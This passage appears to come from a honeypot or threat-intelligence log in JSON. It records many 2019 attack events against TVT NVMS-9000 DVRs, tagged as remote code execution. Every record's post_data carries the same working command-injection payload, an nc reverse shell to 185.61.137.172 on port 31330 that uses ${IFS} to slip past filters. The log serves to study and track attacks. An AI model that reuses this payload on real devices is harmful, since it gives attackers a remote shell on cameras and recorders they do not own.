  4586.       "source_ip_address": "84.22.145.215",
  4587.       "country": "RU",
  4588.       "user_agent": "Help",
  4589.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4590.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4591.       "target_port": 81,
  4592.       "protocol": "tcp",
  4593.       "tags": [
  4594.         {
  4595.           "cve": "",
  4596.           "category": "IoT",
  4597.           "description": "TVT (Generic OEM) DVR RCE"
  4598.         }
  4599.       ],
  4600.       "event_count": 4,
  4601.       "first_seen": "2019-12-21T18:47:41Z",
  4602.       "last_seen": "2019-12-21T18:47:41Z"
  4603.     },
  4604.     {
  4605.       "source_ip_address": "59.126.177.85",
  4606.       "country": "TW",
  4607.       "user_agent": "Help",
  4608.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4609.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4610.       "target_port": 80,
  4611.       "protocol": "tcp",
  4612.       "tags": [
  4613.         {
  4614.           "cve": "",
  4615.           "category": "IoT",
  4616.           "description": "TVT (Generic OEM) DVR RCE"
  4617.         }
  4618.       ],
  4619.       "event_count": 1,
  4620.       "first_seen": "2019-12-21T18:43:36Z",
  4621.       "last_seen": "2019-12-21T18:43:36Z"
  4622.     },
  4623.     {
  4624.       "source_ip_address": "109.99.124.110",
  4625.       "country": "RO",
  4626.       "user_agent": "Help",
  4627.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4628.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4629.       "target_port": 88,
  4630.       "protocol": "tcp",
  4631.       "tags": [
  4632.         {
  4633.           "cve": "",
  4634.           "category": "IoT",
  4635.           "description": "TVT (Generic OEM) DVR RCE"
  4636.         }
  4637.       ],
  4638.       "event_count": 5,
  4639.       "first_seen": "2019-12-21T18:25:29Z",
  4640.       "last_seen": "2019-12-21T18:25:29Z"
  4641.     },
  4642.     {
  4643.       "source_ip_address": "123.195.84.191",
  4644.       "country": "TW",
  4645.       "user_agent": "Help",
  4646.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4647.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4648.       "target_port": 8000,
  4649.       "protocol": "tcp",
  4650.       "tags": [
  4651.         {
  4652.           "cve": "",
  4653.           "category": "IoT",
  4654.           "description": "TVT (Generic OEM) DVR RCE"
  4655.         }
  4656.       ],
  4657.       "event_count": 1,
  4658.       "first_seen": "2019-12-21T18:16:16Z",
  4659.       "last_seen": "2019-12-21T18:16:16Z"
  4660.     },
  4661.     {
  4662.       "source_ip_address": "219.85.141.44",
  4663.       "country": "TW",
  4664.       "user_agent": "Help",
  4665.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4666.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4667.       "target_port": 8080,
  4668.       "protocol": "tcp",
  4669.       "tags": [
  4670.         {
  4671.           "cve": "",
  4672.           "category": "IoT",
  4673.           "description": "TVT (Generic OEM) DVR RCE"
  4674.         }
  4675.       ],
  4676.       "event_count": 1,
  4677.       "first_seen": "2019-12-21T18:03:45Z",
  4678.       "last_seen": "2019-12-21T18:03:45Z"
  4679.     },
  4680.     {
  4681.       "source_ip_address": "196.202.49.56",
  4682.       "country": "EG",
  4683.       "user_agent": "Help",
  4684.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4685.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4686.       "target_port": 8080,
  4687.       "protocol": "tcp",
  4688.       "tags": [
  4689.         {
  4690.           "cve": "",
  4691.           "category": "IoT",
  4692.           "description": "TVT (Generic OEM) DVR RCE"
  4693.         }
  4694.       ],
  4695.       "event_count": 1,
  4696.       "first_seen": "2019-12-21T17:52:49Z",
  4697.       "last_seen": "2019-12-21T17:52:49Z"
  4698.     },
  4699.     {
  4700.       "source_ip_address": "221.146.69.105",
  4701.       "country": "KR",
  4702.       "user_agent": "Help",
  4703.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4704.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4705.       "target_port": 8000,
  4706.       "protocol": "tcp",
  4707.       "tags": [
  4708.         {
  4709.           "cve": "",
  4710.           "category": "IoT",
  4711.           "description": "TVT (Generic OEM) DVR RCE"
  4712.         }
  4713.       ],
  4714.       "event_count": 6,
  4715.       "first_seen": "2019-12-21T17:52:24Z",
  4716.       "last_seen": "2019-12-21T17:52:24Z"
  4717.     },
  4718.     {
  4719.       "source_ip_address": "87.168.215.116",
  4720.       "country": "DE",
  4721.       "user_agent": "Help",
  4722.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4723.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4724.       "target_port": 80,
  4725.       "protocol": "tcp",
  4726.       "tags": [
  4727.         {
  4728.           "cve": "",
  4729.           "category": "IoT",
  4730.           "description": "TVT (Generic OEM) DVR RCE"
  4731.         }
  4732.       ],
  4733.       "event_count": 39,
  4734.       "first_seen": "2019-12-21T17:47:17Z",
  4735.       "last_seen": "2019-12-21T17:47:17Z"
  4736.     },
  4737.     {
  4738.       "source_ip_address": "177.33.185.100",
  4739.       "country": "BR",
  4740.       "user_agent": "Help",
  4741.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4742.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4743.       "target_port": 8080,
  4744.       "protocol": "tcp",
  4745.       "tags": [
  4746.         {
  4747.           "cve": "",
  4748.           "category": "IoT",
  4749.           "description": "TVT (Generic OEM) DVR RCE"
  4750.         }
  4751.       ],
  4752.       "event_count": 1,
  4753.       "first_seen": "2019-12-21T17:37:22Z",
  4754.       "last_seen": "2019-12-21T17:37:22Z"
  4755.     },
  4756.     {
  4757.       "source_ip_address": "94.49.205.100",
  4758.       "country": "SA",
  4759.       "user_agent": "Help",
  4760.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4761.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4762.       "target_port": 8000,
  4763.       "protocol": "tcp",
  4764.       "tags": [
  4765.         {
  4766.           "cve": "",
  4767.           "category": "IoT",
  4768.           "description": "TVT (Generic OEM) DVR RCE"
  4769.         }
  4770.       ],
  4771.       "event_count": 1,
  4772.       "first_seen": "2019-12-21T17:36:13Z",
  4773.       "last_seen": "2019-12-21T17:36:13Z"
  4774.     },
  4775.     {
  4776.       "source_ip_address": "119.160.166.31",
  4777.       "country": "BN",
  4778.       "user_agent": "Help",
  4779.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4780.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4781.       "target_port": 8000,
  4782.       "protocol": "tcp",
  4783.       "tags": [
  4784.         {
  4785.           "cve": "",
  4786.           "category": "IoT",
  4787.           "description": "TVT (Generic OEM) DVR RCE"
  4788.         }
  4789.       ],
  4790.       "event_count": 1,
  4791.       "first_seen": "2019-12-21T17:26:53Z",
  4792.       "last_seen": "2019-12-21T17:26:53Z"
  4793.     },
  4794.     {
  4795.       "source_ip_address": "81.213.108.171",
  4796.       "country": "TR",
  4797.       "user_agent": "Help",
  4798.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4799.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4800.       "target_port": 81,
  4801.       "protocol": "tcp",
  4802.       "tags": [
  4803.         {
  4804.           "cve": "",
  4805.           "category": "IoT",
  4806.           "description": "TVT (Generic OEM) DVR RCE"
  4807.         }
  4808.       ],
  4809.       "event_count": 7,
  4810.       "first_seen": "2019-12-21T17:07:56Z",
  4811.       "last_seen": "2019-12-21T17:07:56Z"
  4812.     },
  4813.     {
  4814.       "source_ip_address": "91.19.30.149",
  4815.       "country": "DE",
  4816.       "user_agent": "Help",
  4817.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4818.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4819.       "target_port": 80,
  4820.       "protocol": "tcp",
  4821.       "tags": [
  4822.         {
  4823.           "cve": "",
  4824.           "category": "IoT",
  4825.           "description": "TVT (Generic OEM) DVR RCE"
  4826.         }
  4827.       ],
  4828.       "event_count": 1,
  4829.       "first_seen": "2019-12-21T17:07:12Z",
  4830.       "last_seen": "2019-12-21T17:07:12Z"
  4831.     },
  4832.     {
  4833.       "source_ip_address": "122.117.219.228",
  4834.       "country": "TW",
  4835.       "user_agent": "Help",
  4836.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4837.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4838.       "target_port": 80,
  4839.       "protocol": "tcp",
  4840.       "tags": [
  4841.         {
  4842.           "cve": "",
  4843.           "category": "IoT",
  4844.           "description": "TVT (Generic OEM) DVR RCE"
  4845.         }
  4846.       ],
  4847.       "event_count": 1,
  4848.       "first_seen": "2019-12-21T17:06:33Z",
  4849.       "last_seen": "2019-12-21T17:06:33Z"
  4850.     },
  4851.     {
  4852.       "source_ip_address": "84.90.248.200",
  4853.       "country": "PT",
  4854.       "user_agent": "Help",
  4855.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4856.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4857.       "target_port": 80,
  4858.       "protocol": "tcp",
  4859.       "tags": [
  4860.         {
  4861.           "cve": "",
  4862.           "category": "IoT",
  4863.           "description": "TVT (Generic OEM) DVR RCE"
  4864.         }
  4865.       ],
  4866.       "event_count": 2,
  4867.       "first_seen": "2019-12-21T16:48:48Z",
  4868.       "last_seen": "2019-12-21T16:48:48Z"
  4869.     },
  4870.     {
  4871.       "source_ip_address": "69.255.77.204",
  4872.       "country": "US",
  4873.       "user_agent": "Help",
  4874.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4875.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4876.       "target_port": 80,
  4877.       "protocol": "tcp",
  4878.       "tags": [
  4879.         {
  4880.           "cve": "",
  4881.           "category": "IoT",
  4882.           "description": "TVT (Generic OEM) DVR RCE"
  4883.         }
  4884.       ],
  4885.       "event_count": 46,
  4886.       "first_seen": "2019-12-21T16:34:32Z",
  4887.       "last_seen": "2019-12-21T16:34:32Z"
  4888.     },
  4889.     {
  4890.       "source_ip_address": "219.85.55.62",
  4891.       "country": "TW",
  4892.       "user_agent": "Help",
  4893.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4894.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4895.       "target_port": 88,
  4896.       "protocol": "tcp",
  4897.       "tags": [
  4898.         {
  4899.           "cve": "",
  4900.           "category": "IoT",
  4901.           "description": "TVT (Generic OEM) DVR RCE"
  4902.         }
  4903.       ],
  4904.       "event_count": 1,
  4905.       "first_seen": "2019-12-21T16:17:40Z",
  4906.       "last_seen": "2019-12-21T16:17:40Z"
  4907.     },
  4908.     {
  4909.       "source_ip_address": "122.117.53.150",
  4910.       "country": "TW",
  4911.       "user_agent": "Help",
  4912.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4913.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4914.       "target_port": 8000,
  4915.       "protocol": "tcp",
  4916.       "tags": [
  4917.         {
  4918.           "cve": "",
  4919.           "category": "IoT",
  4920.           "description": "TVT (Generic OEM) DVR RCE"
  4921.         }
  4922.       ],
  4923.       "event_count": 8,
  4924.       "first_seen": "2019-12-21T16:03:55Z",
  4925.       "last_seen": "2019-12-21T16:03:55Z"
  4926.     },
  4927.     {
  4928.       "source_ip_address": "159.148.159.138",
  4929.       "country": "LV",
  4930.       "user_agent": "Help",
  4931.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4932.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4933.       "target_port": 80,
  4934.       "protocol": "tcp",
  4935.       "tags": [
  4936.         {
  4937.           "cve": "",
  4938.           "category": "IoT",
  4939.           "description": "TVT (Generic OEM) DVR RCE"
  4940.         }
  4941.       ],
  4942.       "event_count": 1,
  4943.       "first_seen": "2019-12-21T15:56:42Z",
  4944.       "last_seen": "2019-12-21T15:56:42Z"
  4945.     },
  4946.     {
  4947.       "source_ip_address": "96.87.176.122",
  4948.       "country": "US",
  4949.       "user_agent": "Help",
  4950.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4951.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4952.       "target_port": 8080,
  4953.       "protocol": "tcp",
  4954.       "tags": [
  4955.         {
  4956.           "cve": "",
  4957.           "category": "IoT",
  4958.           "description": "TVT (Generic OEM) DVR RCE"
  4959.         }
  4960.       ],
  4961.       "event_count": 1,
  4962.       "first_seen": "2019-12-21T15:50:17Z",
  4963.       "last_seen": "2019-12-21T15:50:17Z"
  4964.     },
  4965.     {
  4966.       "source_ip_address": "221.146.69.105",
  4967.       "country": "KR",
  4968.       "user_agent": "Help",
  4969.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4970.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4971.       "target_port": 8080,
  4972.       "protocol": "tcp",
  4973.       "tags": [
  4974.         {
  4975.           "cve": "",
  4976.           "category": "IoT",
  4977.           "description": "TVT (Generic OEM) DVR RCE"
  4978.         }
  4979.       ],
  4980.       "event_count": 55,
  4981.       "first_seen": "2019-12-21T15:02:23Z",
  4982.       "last_seen": "2019-12-21T15:02:23Z"
  4983.     },
  4984.     {
  4985.       "source_ip_address": "27.254.224.116",
  4986.       "country": "TH",
  4987.       "user_agent": "Help",
  4988.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  4989.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  4990.       "target_port": 81,
  4991.       "protocol": "tcp",
  4992.       "tags": [
  4993.         {
  4994.           "cve": "",
  4995.           "category": "IoT",
  4996.           "description": "TVT (Generic OEM) DVR RCE"
  4997.         }
  4998.       ],
  4999.       "event_count": 1,
  5000.       "first_seen": "2019-12-21T15:01:29Z",
  5001.       "last_seen": "2019-12-21T15:01:29Z"
  5002.     },
  5003.     {
  5004.       "source_ip_address": "95.168.97.121",
  5005.       "country": "HR",
  5006.       "user_agent": "Help",
  5007.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5008.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5009.       "target_port": 80,
  5010.       "protocol": "tcp",
  5011.       "tags": [
  5012.         {
  5013.           "cve": "",
  5014.           "category": "IoT",
  5015.           "description": "TVT (Generic OEM) DVR RCE"
  5016.         }
  5017.       ],
  5018.       "event_count": 1,
  5019.       "first_seen": "2019-12-21T14:59:21Z",
  5020.       "last_seen": "2019-12-21T14:59:21Z"
  5021.     },
  5022.     {
  5023.       "source_ip_address": "114.33.24.233",
  5024.       "country": "TW",
  5025.       "user_agent": "Help",
  5026.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5027.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5028.       "target_port": 8080,
  5029.       "protocol": "tcp",
  5030.       "tags": [
  5031.         {
  5032.           "cve": "",
  5033.           "category": "IoT",
  5034.           "description": "TVT (Generic OEM) DVR RCE"
  5035.         }
  5036.       ],
  5037.       "event_count": 8,
  5038.       "first_seen": "2019-12-21T14:59:08Z",
  5039.       "last_seen": "2019-12-21T14:59:08Z"
  5040.     },
  5041.     {
